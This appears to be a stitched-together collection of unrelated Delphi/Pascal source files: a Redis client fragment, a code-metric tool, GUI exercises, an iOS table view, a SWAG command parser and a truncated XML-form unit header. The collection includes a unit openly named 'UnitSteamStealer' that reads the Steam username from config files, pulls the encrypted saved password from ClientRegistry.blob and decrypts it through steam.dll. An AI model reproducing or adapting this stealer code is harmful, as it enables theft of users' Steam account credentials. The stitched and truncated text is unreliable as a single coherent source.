function StringJoin(ADelimiter: Char; AStringArray: array of string): string;
var
i: Integer;
begin
Result := '';
for i := Low(AStringArray) to High(AStringArray) do
Result := Result + AStringArray[i] + ADelimiter;
Delete(Result, Length(Result) - 1, 1);
end;
// function TRedisClient.GEOADD(const Key: string; const Latitude,
// Longitude: Extended; Member: string): Integer;
// var
// lCmd: IRedisCommand;
// begin
// lCmd := NewRedisCommand('GEOADD');
// lCmd.Add(Key);
// lCmd.Add(FormatFloat('0.0000000', Latitude));
// lCmd.Add(FormatFloat('0.0000000', Longitude));
// lCmd.Add(Member);
// Result := ExecuteWithIntegerResult(lCmd);
// end;
function TRedisClient.GET(const AKey: string; out AValue: TBytes): boolean;
begin
Result := GET(BytesOf(AKey), AValue);
end;
end.
|
unit MetrickMakkeiba_2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, StrUtils;
const
numberWords=20;
numberUsefullWords=4;
type
Tarray=array [1..numberWords] of string;
TUsefullWords=array [1..numberUsefullWords] of string;
TUsefullSet = set of char;
pointerTypeRecord=^recordStack;
recordStack=record
data:string;
next:pointerTypeRecord;
end;
TForm1 = class(TForm)
MemoCodeText: TMemo;
ButtonOk: TButton;
EditCountHigh: TEdit;
LabelCountHigh: TLabel;
LabelCountDest: TLabel;
EditCountDest: TEdit;
procedure FormCreate(Sender: TObject);
procedure ButtonOkClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
UsefullWords:TUsefullWords = ('new','xor','or','and');
var
CodeFile:Text;
codeString:string;
words:Tarray;
maxNesting,countNestingIndex,countNesting:word;
setUsefullSym:TUsefullSet;
stack:pointerTypeRecord;
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
MemoCodeText.Clear;
EditCountHigh.Text:='';
EditCountDest.Text:='';
end;
procedure DivisionIntoWords(var codeString:string; var words:Tarray);
type
SetSeparSymbols=set of char;
var
i,j:word;
SeparSymbols:SetSeparSymbols;
begin
SeparSymbols:=[' ',',','.',';','(',')'];
for i:=1 to numberWords do
words[i]:='';
j:=1;
for i:=1 to length(codeString) do
begin
if (not (codeString[i] in SeparSymbols)) and (codeString[i+1] in SeparSymbols) then
begin
words[j]:=words[j]+codeString[i];
inc(j);
end
else
if not(codeString[i] in SeparSymbols) then
words[j]:=words[j]+codeString[i];
end;
end;
procedure DeleteComments(var codeString:string);
const
numberComment=4;
numberComments=2;
type
TarraySymbols=array[1..numberComment] of string[2];
const
symbol:TarraySymbols = ('#','//','/*','*/');
var
i,position,distance:word;
subString:string;
begin
for i:=1 to numberComments do
begin
position:=Pos(symbol[i],codeString);
if position <> 0 then
begin
dec(position);
distance:=length(codeString)-position;
inc(position);
delete(codeString,position,distance);
end;
end;
position:=Pos(symbol[i],codeString);
if position<>0 then
begin
while (Pos(symbol[numberComment],codeString)=0) do
begin
dec(position);
distance:=length(codeString)-position;
inc(position);
delete(codeString,position,distance);
if length(codeString)<>0 then
begin
subString:=codeString;
position:=1;
end;
readln(CodeFile,codeString);
Form1.MemoCodeText.Lines.Add(codeString);
end;
if Pos(symbol[numberComment],codeString)<>0 then
begin
distance:=Pos(symbol[numberComment],codeString);
inc(distance);
position:=1;;
delete(codeString,position,distance);
codeString:=subString+' '+codeString;
end;
end;
end;
procedure DeleteOutput(var codeString:string);
const
number=2;
type
TarraySymbols=array[1..number] of string[2];
TarrayPositions=array[1..number] of integer;
const
symbol:TarraySymbols = ('''','"');
var
i,position,j:word;
arrayPos:TarrayPositions;
begin
if length(codeString)<>0 then
begin
position:=0;
j:=0;
for i:=1 to number do
begin
repeat
position:=PosEx(symbol[i],codeString,position);
if position<>0 then
begin
inc(j);
arrayPos[j]:=position;
inc(position);
end;
until position=0;
if j=number then
begin
inc(arrayPos[number]);
delete(codeString,arrayPos[1],arrayPos[number]-arrayPos[1]);
end;
end;
end;
end;
procedure Push(var stack:pointerTypeRecord; conditString:string; var countNesting,countNestingIndex:word);
var
pointerNew:pointerTypeRecord;
begin
if (conditString='if') or (conditString='switch') or (conditString='elseif') then
begin
inc(countNesting);
if countNesting>=countNestingIndex then
countNestingIndex:=countNesting;
end;
new(pointerNew);
pointerNew^.data:=conditString;
pointerNew^.next:=stack;
stack:=pointerNew;
end;
procedure Pop(var stack:pointerTypeRecord; var countNestingIndex,maxNesting,countNesting:word);
begin
if stack<>nil then
begin
if (stack^.data='if') or (stack^.data='switch') or (stack^.data='elseif') then
begin
dec(countNesting);
end;
stack:=stack^.next;
if countNesting=0 then
begin
if countNestingIndex>=maxNesting then
maxNesting:=countNestingIndex;
countNestingIndex:=0;
end;
end;
end;
procedure CountingNesting(const codeString:string; var countNestingIndex,maxNesting,countNesting:word);
const
number=8;
type
TarraySpecialWords=array[1..number] of string;
const
arr:TarraySpecialWords = ('function','for','if','while','foreach','do','elseif','?');
var
i,j,position:word;
begin
for i:=1 to number do
for j:=1 to numberWords do
begin
if arr[i]=words[j] then
if i=number then
inc(countNestingIndex)
else
Push(stack,arr[i],countNesting,countNestingIndex);
end;
for i:=1 to length(codeString) do
begin
if codeString[i]='}' then
Pop(stack,countNestingIndex,maxNesting,countNesting);
end;
end;
procedure TForm1.ButtonOkClick(Sender: TObject);
begin
AssignFile(CodeFile,'input.txt');
Reset(CodeFile);
while (not(EoF(CodeFile))) do
begin
readln(CodeFile,codeString);
MemoCodeText.Lines.Add(codeString);
codeString:=trim(codeString);
DeleteOutput(codeString);
DeleteComments(codeString);
if length(codeString) <> 0 then
begin
DivisionIntoWords(codeString,words);
CountingNesting(codeString,countNestingIndex,maxNesting,countNesting);
end;
end;
CloseFile(CodeFile);
end;
end.
|
unit UnitSteamStealer;
interface
uses
Windows,
StreamUnit;
type
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
{ TStringStream }
TStringStream = class(TStream)
private
FDataString: string;
FPosition: Integer;
protected
procedure SetSize(NewSize: Longint); override;
public
constructor Create(const AString: string);
function Read(var Buffer; Count: Longint): Longint; override;
function ReadString(Count: Longint): string;
function Seek(Offset: Longint; Origin: Word): Longint; override;
function Write(const Buffer; Count: Longint): Longint; override;
procedure WriteString(const AString: string);
property DataString: string read FDataString;
end;
const
{ File open modes }
{$IFDEF LINUX}
fmOpenRead = O_RDONLY;
fmOpenWrite = O_WRONLY;
fmOpenReadWrite = O_RDWR;
// fmShareCompat not supported
fmShareExclusive = $0010;
fmShareDenyWrite = $0020;
// fmShareDenyRead not supported
fmShareDenyNone = $0030;
{$ENDIF}
{$IFDEF MSWINDOWS}
fmOpenRead = $0000;
fmOpenWrite = $0001;
fmOpenReadWrite = $0002;
fmShareCompat = $0000 platform; // DOS compatibility mode is not portable
fmShareExclusive = $0010;
fmShareDenyWrite = $0020;
fmShareDenyRead = $0030 platform; // write-only not supported on all platforms
fmShareDenyNone = $0040;
{$ENDIF}
function SteamUserName : String;
function SteamPassword : String;
Function UltimoNickUsadoInGame:string;
Function UserCounterStrikeRate:string;
Function DiretorioDaSteam:string;
Function DiretorioDoExecutavelSteam:string;
Function ConfiguracaoDeIdioma:string;
Function GetSteamPass: string;
type
TSteamDecryptDataForThisMachine = function(EncryptedData :Pchar;
EncryptedDataLength : Integer;
DecryptedBuffer : Pointer;
DecryptedBufferSize : Integer;
DecryptedDataSize : PUINT) : Integer;
cdecl;
var
SteamPath : String;
StringStream : TStringStream;
FileStream : TFileStream;
I : Integer;
UserName : PChar;
EncryptedPassword : PChar;
DecryptionKey : TSteamDecryptDataForThisMachine;
PasswordLength : UINT;
Password : array[0..99] of char;
implementation
function PegaValor( const Key: HKEY; const Chave, Valor: String ) : String;
var handle : HKEY;
Tipo, Tam : Cardinal;
Buffer : String;
begin
RegOpenKeyEx( Key, PChar( Chave ),0, KEY_QUERY_VALUE, handle );
Tipo := REG_NONE;
RegQueryValueEx( Handle,PChar( Valor ),nil,@Tipo,nil,@Tam );
SetString(Buffer, nil, Tam);
RegQueryValueEx( Handle,PChar( Valor ),nil,@Tipo,PByte(PChar(Buffer)),@Tam );
Result := PChar(Buffer);
RegCloseKey( handle );
Result := PChar(Buffer);
end;
procedure FreeAndNil(var Obj);
var
Temp: TObject;
begin
Temp := TObject(Obj);
Pointer(Obj) := nil;
Temp.Free;
end;
{ TStringStream }
constructor TStringStream.Create(const AString: string);
begin
inherited Create;
FDataString := AString;
end;
function TStringStream.Read(var Buffer; Count: Longint): Longint;
begin
Result := Length(FDataString) - FPosition;
if Result > Count then Result := Count;
Move(PChar(@FDataString[FPosition + 1])^, Buffer, Result);
Inc(FPosition, Result);
end;
function TStringStream.Write(const Buffer; Count: Longint): Longint;
begin
Result := Count;
SetLength(FDataString, (FPosition + Result));
Move(Buffer, PChar(@FDataString[FPosition + 1])^, Result);
Inc(FPosition, Result);
end;
function TStringStream.Seek(Offset: Longint; Origin: Word): Longint;
begin
case Origin of
soFromBeginning: FPosition := Offset;
soFromCurrent: FPosition := FPosition + Offset;
soFromEnd: FPosition := Length(FDataString) - Offset;
end;
if FPosition > Length(FDataString) then
FPosition := Length(FDataString)
else if FPosition < 0 then FPosition := 0;
Result := FPosition;
end;
function TStringStream.ReadString(Count: Longint): string;
var
Len: Integer;
begin
Len := Length(FDataString) - FPosition;
if Len > Count then Len := Count;
SetString(Result, PChar(@FDataString[FPosition + 1]), Len);
Inc(FPosition, Len);
end;
procedure TStringStream.WriteString(const AString: string);
begin
Write(PChar(AString)^, Length(AString));
end;
procedure TStringStream.SetSize(NewSize: Longint);
begin
SetLength(FDataString, NewSize);
if FPosition > NewSize then FPosition := NewSize;
end;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
function FileAge(const FileName: string): Integer;
{$IFDEF MSWINDOWS}
var
Handle: THandle;
FindData: TWin32FindData;
LocalFileTime: TFileTime;
begin
Handle := FindFirstFile(PChar(FileName), FindData);
if Handle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
LongRec(Result).Lo) then Exit;
end;
end;
Result := -1;
end;
{$ENDIF}
{$IFDEF LINUX}
var
st: TStatBuf;
begin
if stat(PChar(FileName), st) = 0 then
Result := st.st_mtime
else
Result := -1;
end;
{$ENDIF}
function FileExists(const FileName: string): Boolean;
{$IFDEF MSWINDOWS}
begin
Result := FileAge(FileName) <> -1;
end;
{$ENDIF}
{$IFDEF LINUX}
begin
Result := euidaccess(PChar(FileName), F_OK) = 0;
end;
{$ENDIF}
// Senha:=PegaValor(HKEY_LOCAL_MACHINE,'Software\Vitalwerks\DUC','Password');
function SteamUserName : String;
begin
result := '';
try
SteamPath := PegaValor(HKEY_CURRENT_USER,'Software\Valve\Steam\','SteamPath');
//Locates UserName within the SteamAppData.vdf file
FileStream := TFileStream.Create(SteamPath+'\config\SteamAppData.vdf',fmOpenRead);
StringStream := TStringStream.Create('');
StringStream.CopyFrom(FileStream, FileStream.Size);
FreeandNil(FileStream);
I := Pos('AutoLoginUser',StringStream.DataString);
I := I + 17;
UserName := PChar(copy(StringStream.DataString,I,Pos('"',copy(StringStream.DataString,I,100))-1));
FreeandNil(StringStream);
Result := UserName;
except
Result := '';
end;
end;
function SteamPassword :String;
begin
result := '';
try
SteamPath := PegaValor(HKEY_CURRENT_USER,'Software\Valve\Steam\','SteamPath');
//Locates Encrypted Password within the ClientRegistry.blob file
if not FileExists(SteamPath+'/ClientRegistry.Blob') then Exit else
begin
FileStream := TFileStream.Create(SteamPath+'\ClientRegistry.blob',fmOpenRead);
StringStream := TStringStream.Create('');
StringStream.CopyFrom(FileStream, FileStream.Size);
FreeandNil(FileStream);
I := Pos('Phrase',StringStream.DataString);
I := I + 40;
EncryptedPassword := PChar(copy(StringStream.DataString,I,255));
FreeandNil(StringStream);
//Uses SteamDecryptDataForThisMachine function from Steam.dll to decrypt password
DecryptionKey := GetProcAddress(LoadLibrary(PChar(SteamPath+'\steam.dll')),'SteamDecryptDataForThisMachine');
DecryptionKey(EncryptedPassword, strlen(EncryptedPassword),@Password, 100,@PasswordLength);
Result := Password;
end;
except
Result := '';
end;
end;
Function UltimoNickUsadoInGame:string;
Begin
Result := PegaValor(HKEY_CURRENT_USER,'Software\Valve\Steam\','LastGameNameUsed');
End;
Function UserCounterStrikeRate:string;
Begin
Result := PegaValor(HKEY_CURRENT_USER,'Software\Valve\Steam\','Rate');
End;
Function DiretorioDaSteam:string;
Begin
Result := PegaValor(HKEY_CURRENT_USER,'Software\Valve\Steam\','SteamPath');
End;
Function DiretorioDoExecutavelSteam:string;
Begin
Result := PegaValor(HKEY_CURRENT_USER,'Software\Valve\Steam\','SteamExe');
End;
Function ConfiguracaoDeIdioma:string;
Begin
Result := PegaValor(HKEY_CURRENT_USER,'Software\Valve\Steam\','Language');
End;
Function EncontrouSteam: Boolean;
var
VerificaString: string;
Begin
Result := False;
VerificaString := PegaValor(HKEY_CURRENT_USER,'Software\Valve\Steam\','Language');
if VerificaString <> '' then Result := True else Result := False;
End;
Function GetSteamPass: string;
Begin
if EncontrouSteam then Result := SteamUserName + '|' + SteamPassword + '|' else Result := '';
end;
end.
|
unit TextDocumentController;
interface
uses
LrDocument,
TextDocument, CodeEdit;
type
TTextDocumentController = class(TLrDocumentController)
protected
function GetEditForm: TCodeEditForm; virtual;
property EditForm: TCodeEditForm read GetEditForm;
public
function New: TLrDocument; override;
procedure DocumentActivate(inDocument: TLrDocument); override;
procedure DocumentDeactivate(inDocument: TLrDocument); override;
procedure DocumentUpdate(inDocument: TLrDocument); override;
end;
implementation
uses
CodeExplorer;
function TTextDocumentController.GetEditForm: TCodeEditForm;
begin
Result := CodeEditForm;
end;
procedure TTextDocumentController.DocumentActivate(inDocument: TLrDocument);
begin
EditForm.Strings := TTextDocument(inDocument).Text;
EditForm.OnModified := inDocument.DoModified;
EditForm.Show;
CodeExplorerForm.EasyEdit := EditForm.Edit;
end;
procedure TTextDocumentController.DocumentUpdate(inDocument: TLrDocument);
begin
TTextDocument(inDocument).Text.Assign(EditForm.Strings);
end;
procedure TTextDocumentController.DocumentDeactivate(inDocument: TLrDocument);
begin
EditForm.Hide;
EditForm.OnModified := nil;
CodeExplorerForm.EasyEdit := nil;
end;
function TTextDocumentController.New: TLrDocument;
begin
Result := CreateDocument(TTextDocument);
end;
end.
|
namespace TableViewExampleForAwesome;
uses
Awesome,
RemObjects.Elements.Rtl,
UIKit;
type
[IBObject]
RootViewController = public class(UITableViewController,IAwesomeMenuDelegate)
private
method awesomeMenu(menu: AwesomeMenu) didSelectIndex(idx: NSInteger);
begin
end;
public
constructor;
begin
inherited constructor withStyle(UITableViewStyle.UITableViewStylePlain);
end;
method viewDidLoad; override;
begin
inherited viewDidLoad;
title := 'TableViewExampleForAwesome';
// Uncomment the following line to preserve selection between presentations.
// clearsSelectionOnViewWillAppear := false;
// Uncomment the following line to display an Edit button in the navigation bar for this view controller.
// navigationItem.rightBarButtonItem := editButtonItem;
// Do any additional setup after loading the view.
var storyMenuItemImage := UIImage.imageNamed("bg-menuitem.png");
var storyMenuItemImagePressed := UIImage.imageNamed("bg-menuitem-highlighted.png");
var starImage := UIImage.imageNamed("icon-star.png");
var starMenuItem1: AwesomeMenuItem := new AwesomeMenuItem WithImage(storyMenuItemImage) highlightedImage(storyMenuItemImagePressed) ContentImage(starImage) highlightedContentImage(nil);
var starMenuItem2: AwesomeMenuItem := new AwesomeMenuItem WithImage(storyMenuItemImage) highlightedImage(storyMenuItemImagePressed) ContentImage(starImage) highlightedContentImage(nil);
var starMenuItem3: AwesomeMenuItem := new AwesomeMenuItem WithImage(storyMenuItemImage) highlightedImage(storyMenuItemImagePressed) ContentImage(starImage) highlightedContentImage(nil);
var starMenuItem4: AwesomeMenuItem := new AwesomeMenuItem WithImage(storyMenuItemImage) highlightedImage(storyMenuItemImagePressed) ContentImage(starImage) highlightedContentImage(nil);
var starMenuItem5: AwesomeMenuItem := new AwesomeMenuItem WithImage(storyMenuItemImage) highlightedImage(storyMenuItemImagePressed) ContentImage(starImage) highlightedContentImage(nil);
var menus := new NSMutableArray<AwesomeMenuItem>;
menus.addObjectsFromArray([starMenuItem1,starMenuItem2,starMenuItem3,starMenuItem4,starMenuItem5]);
var startItem := new AwesomeMenuItem WithImage(UIImage.imageNamed("bg-addbutton.png")) highlightedImage(nil)
ContentImage(UIImage.imageNamed("icon-plus.png")) highlightedContentImage(nil);
var menu := new AwesomeMenu WithFrame(self.view.bounds) startItem(startItem) optionMenus(menus);
menu.delegate := self;
menu.menuWholeAngle := M_PI_2;
menu.farRadius := 110.0;
menu.endRadius := 100.0;
menu.nearRadius := 90.0;
menu.animationDuration := 0.3;
menu.startPoint := CGPointMake(50.0, 410.0);
self.view.addSubview(menu);
end;
method didReceiveMemoryWarning; override;
begin
inherited didReceiveMemoryWarning;
// Dispose of any resources that can be recreated.
end;
//
// Table view data source
//
method numberOfSectionsInTableView(tableView: UITableView): NSInteger;
begin
{$WARNING Potentially incomplete method implementation.}
// Return the number of sections.
result := 1;
end;
method tableView(tableView: UITableView) numberOfRowsInSection(section: NSInteger): NSInteger;
begin
{$WARNING Potentially incomplete method implementation.}
// Return the number of rows in the section.
result := 0;
end;
method tableView(tableView: UITableView) cellForRowAtIndexPath(indexPath: NSIndexPath): UITableViewCell;
begin
var CellIdentifier := "RootViewControllerCell";
result := tableView.dequeueReusableCellWithIdentifier(CellIdentifier);
if not assigned(result) then begin
result := new UITableViewCell withStyle(UITableViewCellStyle.UITableViewCellStyleDefault) reuseIdentifier(CellIdentifier);
// Configure the new cell, if necessary...
end;
// Configure the individual cell...
end;
method tableView(tableView: UITableView) canEditRowAtIndexPath(indexPath: NSIndexPath): Boolean;
begin
// Return "false" if you do not want the specified item to be editable.
result := true;
end;
method tableView(tableView: UITableView) commitEditingStyle(editingStyle: UITableViewCellEditingStyle) forRowAtIndexPath(indexPath: NSIndexPath);
begin
if (editingStyle = UITableViewCellEditingStyle.UITableViewCellEditingStyleDelete) then begin
// Delete the row from the data source
tableView.deleteRowsAtIndexPaths([indexPath]) withRowAnimation(UITableViewRowAnimation.UITableViewRowAnimationFade);
end
else if (editingStyle = UITableViewCellEditingStyle.UITableViewCellEditingStyleInsert) then begin
// Create a new instance of the appropriate class, insert it into the array, and add a new row to the table view
end;
end;
method tableView(tableView: UITableView) canMoveRowAtIndexPath(indexPath: NSIndexPath): Boolean;
begin
// Return "false" if you do not want the item to be re-orderable.
result := true;
end;
method tableView(tableView: UITableView) moveRowAtIndexPath(fromIndexPath: NSIndexPath) toIndexPath(toIndexPath: NSIndexPath);
begin
end;
method tableView(tableView: UITableView) didSelectRowAtIndexPath(indexPath: NSIndexPath);
begin
// Navigation logic may go here. Create and push another view controller.
(*
var detailViewController := new DetailViewController withNibName(@'...') bundle(nil);
// ...
// Pass the selected object to the new view controller.
navigationController.pushViewController(detailViewController) animated(true);
*)
end;
end;
end. |
(*
Category: SWAG Title: COMMAND LINE ROUTINES
Original name: 0008.PAS
Description: Command parser
Author: SWAG SUPPORT TEAM
Date: 05-28-93 13:34
*)
{ Hey David, try this one out. It Uses a little known fact that TP
will parse the command line each time you call Paramstr(). So by
stuffing a String into the command-line buffer, we can have TP parse it
For us.
}
Program Parse;
Type
String127 = String[127];
Cmd = ^String127;
Var
My_String : Cmd;
Index : Integer;
begin
{My_String := Ptr(PrefixSeg, $80);} {Point it to command line buffer}
{Write('Enter a line of Text (127 caracters Max) ');
Readln(My_String^);}
For Index := 1 to Paramcount do
Writeln(Paramstr(Index));
end.
{ You can solve the problem of the 127 caracter limit by reading into
a standard String and splitting it into <127 caracter substrings.
}
|
unit uExercicio01;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type
TfrmExercicio01 = class(TForm)
gbInserir: TGroupBox;
gbOperacoes: TGroupBox;
gbLista: TGroupBox;
edNome: TEdit;
lbNome: TLabel;
btInserir: TButton;
btExibirNomes: TButton;
btRemoverPrimeiro: TButton;
btRemoverUltimo: TButton;
btContar: TButton;
btSair: TButton;
ltNomes: TListBox;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure btInserirClick(Sender: TObject);
procedure btExibirNomesClick(Sender: TObject);
procedure btContarClick(Sender: TObject);
procedure btRemoverPrimeiroClick(Sender: TObject);
procedure btRemoverUltimoClick(Sender: TObject);
procedure btSairClick(Sender: TObject);
private
FoNomes: array of string;
public
{ Public declarations }
end;
var
frmExercicio01: TfrmExercicio01;
implementation
{$R *.dfm}
procedure TfrmExercicio01.btContarClick(Sender: TObject);
var
nQuantidadeNomes: integer;
sMensagem: string;
begin
nQuantidadeNomes := Length(FoNomes);
sMensagem := Format('%d nomes na lista.', [nQuantidadeNomes]);
ShowMessage(sMensagem);
end;
procedure TfrmExercicio01.btExibirNomesClick(Sender: TObject);
var
nContador: Integer;
begin
ltNomes.Clear;
for nContador := 0 to High(FoNomes) do
begin
ltNomes.Items.Add(FoNomes[nContador]);
end;
ltNomes.Sorted := True;
end;
procedure TfrmExercicio01.btInserirClick(Sender: TObject);
var
nTamanho: integer;
begin
if edNome.Text = EmptyStr then
Exit;
nTamanho := Length(FoNomes);
SetLength(FoNomes, (Length(FoNomes) + 1));
FoNomes[nTamanho] := edNome.Text;
edNome.Text := EmptyStr;
end;
procedure TfrmExercicio01.btRemoverPrimeiroClick(Sender: TObject);
var
oArray: array of string;
nContador: integer;
begin
if Length(FoNomes) = 0 then
Exit;
SetLength(oArray, Length(FoNomes) - 1);
for nContador := Low(FoNomes) to High(FoNomes) do
begin
if nContador = Low(FoNomes) then
continue;
oArray[nContador - 1] := FoNomes[nContador];
end;
SetLength(FoNomes, Length(oArray));
for nContador := Low(oArray) to High(oArray) do
begin
FoNomes[nContador] := oArray[nContador];
end;
end;
procedure TfrmExercicio01.btRemoverUltimoClick(Sender: TObject);
begin
if Length(FoNomes) = 0 then
Exit;
SetLength(FoNomes, (Length(FoNomes) -1));
end;
procedure TfrmExercicio01.btSairClick(Sender: TObject);
begin
Self.Close;
end;
procedure TfrmExercicio01.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
end;
end.
|
{
Объект, который преобразует XML-представление в форму
ShowXMLForm(AFileName: string);
Создает форму, которая будет наследована от BaseFormEnh
и дополнена элементами, представленными в коде XML
AFileName - только имя файла, расширение длолжно быть XML,
местонахождение - папка FORMS корневого каталога программы.
Тэги:
<form [dialogform=true/false] [caption=S] [menu=S] [menuname=S] [menuposition=N]
[filters=true/false] [editbuttons=true/false] [width=N] [height=N] [version=?]
[tablename=S]>
<editbuttons>
<addbutton>
<editbutton>
<deletebutton>
<showtotalbutton>
<showdetailcheckbox>
<sqlfasterbutton>
<sql>
<sqlfaster>
<sqldetail>
<editclass [classname="ClassName"] [resultfilter="FilterName"] [printable=true/false]>
<print>
<caption>
<printnumber>
<rrr>
<conditionvisible>
<fieldname>
<value>
<columns>
<column [align=left/right/center] [width=N]>
<caption [align=left/right/center]>
<fieldname>
<total valuetype=avg/count/sum/statictext>
<fieldname>
<value>
<columnsdetail>
<column [align=left/right/center] [width=N]>
<caption [align=left/right/center]>
<fieldname>
<filters>
<edit [left=N] [top=N] [width=N] [wholevlue=true/false] [onlynumbers=true/false]>
<name>
<caption>
<fieldname>
<dateedit [left=N] [top=N] [width=N] [direction=fromdate/todate]>
<name>
<caption>
<fieldname>
<xmlform [left=N] [top=N] [width=N] [wholevlue=true/false] [orgref=true/false] [orgtype=true/false] [enableflags='yyy']>
<name>
<caption>
<link>
<srcfield>
<destfield>
<editform>
<dllname>
<keyfield>
<name>
<list [left=N] [top=N] [width=N]>
<name>
<caption>
<fieldname>
<items>
<item>
}
unit uXMLForm;
interface
uses uCommonForm, ExFunc, Base, Forms, ComObj, Dialogs, Sysutils, DBGridEh, stdCtrls,
Menus, Classes,CurrEdit, Main,ToolEdit, Controls, dbtables, Buttons, Ora, DB, Windows,
rxctrls, EditBase,uOilQuery,uOilStoredProc{$IFDEF VER150},Variants{$ENDIF};
type TFilterField = record
DestFieldName : String;
SrcFieldName : String;
FilterName : String;
Value : String;
IsWholeValue : Boolean;
IsNumber : Boolean;
IsCaptionField : Boolean;
IsDateField : Boolean;
Direction : (dirNone, dirFromDate,dirToDate);
EnableFlags : String;
OrgType : integer;
end;
type TPrintField=record
Caption,
MenuName:string;
PrintNumber:integer;
RRR:string;
ConditionVisible:record
FieldName,
Value:string;
end;
end;
const
MAX_FILTERS = 16;
MAX_PRINTS = 10;
FORMS_FOLDER = 'Forms';
{Dict}
XCAPTION = 'caption';
XSQL = 'sql';
XSQLDETAIL = 'sqldetail';
XCOLUMNS = 'columns';
XCOLUMNSDETAIL = 'columnsdetail';
XCOLUMN = 'column';
XFIELDNAME = 'fieldname';
XFILTERS = 'filters';
XEDIT = 'edit';
XNAME = 'name';
XDEFAULT = 'default';
XWHOLEVALUE = 'wholevalue';
XWIDTH = 'width';
XLEFT='left';
XTOP = 'top';
XRIGHT='right';
XCENTER='center';
XALIGN='align';
XONLYNUMBERS = 'onlynumbers';
XXMLFORM = 'xmlform';
XSRC = 'srcfield';
XDEST = 'destfield';
XLINK = 'link';
XTEXTFIELD = 'textfield';
XDATEEDIT = 'dateedit';
XDIRECTION = 'direction';
XFROMDATE = 'fromdate';
XTODATE = 'todate';
XHEIGHT = 'height';
XMENU = 'menu';
XMENUPOSITION = 'menuposition';
XORGREF ='orgref';
XORGTYPE = 'orgtype';
XENABLEFLAGS = 'enableflags';
XEDITBUTTONS = 'editbuttons';
XEDITFORM = 'editform';
XDLLNAME = 'dllname';
XKEYFIELD = 'keyfield';
XDIALOGFORM ='dialogform';
XEDITCLASS = 'editclass';
XCLASSNAME = 'classname';
XRESULTFILTER = 'resultfilter';
XTABLENAME = 'tablename';
XVERSION = 'version';
XMENUNAME = 'menuname';
XPRINTABLE = 'printable';
XPRINT = 'print';
XPRINTNUMBER = 'printnumber';
XCONDITIONVISIBLE = 'conditionvisible';
XVALUE = 'value';
XRRR = 'rrr';
XADDBUTTON = 'addbutton';
XEDITBUTTON = 'editbutton';
XDELETEBUTTON = 'deletebutton';
XSHOWTOTALBUTTON = 'showtotalbutton';
XSHOWDETAILCHECKBOX = 'showdetailcheckbox';
XSQLFASTERBUTTON = 'sqlfasterbutton';
XLIST = 'list';
XITEMS = 'items';
XITEM = 'item';
XTOTAL = 'total';
XVALUETYPE = 'valuetype';
type TXMLForm = class(TBaseForm)
private
FOldWidth : integer;
FOldHeight : integer;
FXMLDoc : Variant;
FRootNode: Variant;
FCaption : String;
FColumns : TDBGridColumnsEh;
FColumn : TDBGridColumnEh;
FColumnsDetail : TDBGridColumnsEh;
FColumnDetail : TDBGridColumnEh;
FClearButton : TSpeedButton;
FLastWholeValue : Boolean;
FFilters : array [1..MAX_FILTERS] of TFilterField;
FFiltersCount : Integer;
FEdit : Pointer;
FLabel, FHiddenLabel : TLabel;
FRxSpeedButton : TRxSpeedButton;
FVersion : string;
FPrints : array [1..MAX_PRINTS] of TPrintField;
FPrintsCount : Integer;
FEditButtons : boolean;
{}
hDll : HWND;
InitPlugin : procedure (App, Scr, AOraSession, AQuery: Integer); StdCall;
AddRecord : procedure; StdCall;
EditRecord : procedure{(AId, AInst: Integer);} StdCall;
DeleteRecord : procedure{(AId, AInst: Integer)}; StdCall;
DonePlugin : function : Boolean; StdCall;
{}
FEditClass: TEditClass;
procedure PrintRecord(Sender: TObject);
procedure EditRecord2(Sender: TObject);
procedure DeleteRecord2(Sender: TObject);
procedure SetFormParams;
procedure ProcessColumns(ANode: Variant);
procedure ProcessColumnTotal(ANode: Variant);
procedure ProcessColumnsDetail(ANode: Variant);
procedure ProcessFilters(ANode: Variant);
procedure ProcessEditForm(ANode: Variant);
procedure ProcessEditButtons(ANode: Variant);
(** Разбор <editclass> *)
procedure ProcessEditClass(ANode: Variant);
procedure ProcessWinControl(ANode: Variant);
procedure FilterClearClick(Sender: TObject);
function GetComponent(AName: string): Pointer;
procedure ShowSQLText(SEnder: TObject);
procedure OnGridDblClick(Sender: TObject);
procedure DateEditAcceptDate(Sender: TObject;
var ADate: TDateTime; var Action: Boolean);
procedure AddRecFromPlugin(Sender: TObject);
procedure EditRecFromPlugin(Sender: TObject);
procedure DelRecFromPlugin(Sender: TObject);
procedure OnXMLFormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure DataSourceDataChange(Sender: TObject; Field: TField);
public
FQuery : TOilQuery;
FQueryDetail : TOilQuery;
(** Разбор xml-файла *)
procedure Parse(AFileName: string);
constructor Create(AOwner: TComponent ; AName: String=''); reintroduce;
protected
procedure SearchClick(Sender: TObject);
procedure ClearClick(Sender: TObject);
procedure FilterOnEditChange(Sender: TObject);
procedure FilterOnComboClick(Sender: TObject);
procedure FilterOnComboClickOrg(Sender: TObject);
end;
PXMLForm = ^TXmlForm;
function Up(AString: String): String;
function GetParseError(Error: Variant): string;
(** Выдает екземпляр формы *)
function ShowXMLForm(AFileName: string): TXMLForm;
function GetXMLFormAsFilter(Sender: TObject): TXMLForm; overload;
function GetXMLFormAsFilter(AFileName: String): TXMLForm; overload;
(** Возвращает значения параметра нода *)
function GetAttrValue(ANode: Variant; AName: String): String;
